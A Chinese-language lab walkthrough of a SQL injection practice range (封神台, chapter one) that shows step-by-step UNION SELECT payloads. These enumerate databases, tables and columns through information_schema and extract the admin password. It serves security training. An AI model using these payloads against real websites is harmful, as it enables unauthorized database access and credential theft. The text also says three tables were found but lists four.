封神台靶场实战第一章——SQL注入攻击原理

SQL注入攻击原理 实战演练

封神台靶场实战第一章——SQL注入攻击原理

进入传送门:

封神台靶场实战第一章——SQL注入攻击原理

SQL注入,首先我们要满足两个关键点:
  1. 参数用户可控
  2. 参数带入数据库查询

先证明参数是用户可控的

更改页面

id=2或
id=3

封神台靶场实战第一章——SQL注入攻击原理
封神台靶场实战第一章——SQL注入攻击原理

至此说明参数是用户可控的。

接下来证明参数带入数据库查询

输入

id=1’

封神台靶场实战第一章——SQL注入攻击原理

页面回显不正常,由此可证,输入数据确实带入数据库查询。

接下来我们进行注入

一.判断注入点:

输入

id=1 and 1=1

封神台靶场实战第一章——SQL注入攻击原理

页面回显正常

输入

id=1 and 1=2

封神台靶场实战第一章——SQL注入攻击原理

页面回显错误。
由此判断,此页面确实存在注入点。

二.判断字段数

id=1 order by 1 回显正常
id=1 order by 2 回显正常
id=1 order by 3 回显异常

封神台靶场实战第一章——SQL注入攻击原理

此网页使用表里的字段数为2。

三.判断回显点

id=1 and 1=2 union select 1,2

封神台靶场实战第一章——SQL注入攻击原理

找库:

id=1 and 1=2 union select 1,database()
database()函数表示查询此表当前使用数据库的名称。

封神台靶场实战第一章——SQL注入攻击原理

当前网站使用数据库名称为maoshe

id=1 and 1=2 union select 1,version()
version()函数表示查询版本号。

封神台靶场实战第一章——SQL注入攻击原理

版本号为5.5.53

id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata

在mysql中,默认information_schema总库,其中包含所有的库名,表名,字段名…
schema_name是库名,information_schema.schemata是总库里的所有库。
这段的意思是从information_schema.schemata总库的所有库中列出所有的库名。

封神台靶场实战第一章——SQL注入攻击原理

查询到当前数据库有三个库:information_schema、maoshe、test

找表:

id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘maoshe’

table_name是表名,information_schema.tables是总库里的所有表。
这段意思是从information_schema.tables总库的所有表中列出在maoshe库里的所有表名。

封神台靶场实战第一章——SQL注入攻击原理

在maoshe库里查询到三个表:admin、dirs、news、xss

找字段:

id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘maoshe’ and table_name=‘admin’

column_name是字段名, information_schema.columns 是总库里的所有字段。
这段意思是从information_schema.columns总库里的所有字段中列出在maoshe库里且在admin表里的所有字段名。

封神台靶场实战第一章——SQL注入攻击原理

查询到三个字段:Id、username、password

四:查询相关内容

我们需要拿到管理员的密码,所以我们需要查询password:

id=1 and 1=2 union select 1,password from admin

封神台靶场实战第一章——SQL注入攻击原理

此时我们就拿到了管理员的密码。验证一下:

封神台靶场实战第一章——SQL注入攻击原理

成功。